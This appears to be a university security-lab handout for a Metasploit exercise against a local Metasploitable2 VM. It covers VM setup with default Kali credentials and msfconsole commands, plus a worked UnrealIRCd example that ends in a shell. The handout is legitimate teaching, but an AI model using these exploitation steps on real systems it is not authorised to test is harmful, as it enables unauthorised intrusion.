SETUP VM

$ mkdir /virtual/UTORID (if it doesnt already exist)

$ cp -r /virtual/csc427/metasploit /virtual/UTORID

$ vmplayer (Open your /virtual/UTORID/ Kali Linux VM)

USERNAME: root
PASSWORD: toor

Set VM Network Adapter to Bridged from settings.

TARGET SERVER: SERVER IS DOWN

(run your own METASPLOITABLE2 VM, in bridged adapter network mode and exploit it locally)

LIST OF VULNERABILITIES OF SERVER

$ firefox /virtual/csc427/metasploit/vulnerabilities.html

WHEN DONE RUN:

$ cd /home/msfadmin
$ cat congratulations.txt

SUBMISSION:

Create a text file and write down each exploit you used e.g.:

$ vim exploits.txt

exploit/.../.../.../
exploit/.../.../.../
exploit/.../.../.../
exploit/.../.../.../
exploit/.../.../.../

Where the … are the actual paths of the exploits (the ones you saw from search that got you a reverse shell)

Zip the text file into metasploit.zip.

METASPLOIT CONTROLS:

$ sudo service postgresql start (initilize db)

$ sudo msfconsole (start metasploit)

> help

> search - look for modules, can use: (check others with “help search”)
Use things like: type:exploit platform:unix etc...

> use xxx/xxx/xxx/xxx (loaded module if displayed in red)
(module name: syntax xxx/xxx/xxx/ or search index)

show info - info about exploit (versions, what it does etc)
show options (customizations)
show payloads - possible payloads to load for current exploit
show targets

set - change/set options
set [ATTRIBUTE_NAME] (to change param, get it from show options)

exploit - run the actual exploit

back - unload exploit module

EXAMPLE:

> search unrealircd
> use 0 (same as use exploit_name but uses search index for quickness)
> show info
> show options
> set RHOSTS [ip]
> exploit

Done, you have a shell, type “ls”.

Easter egg:

```
$ cd /home/msfadmin
$ cat congratulations.txt
```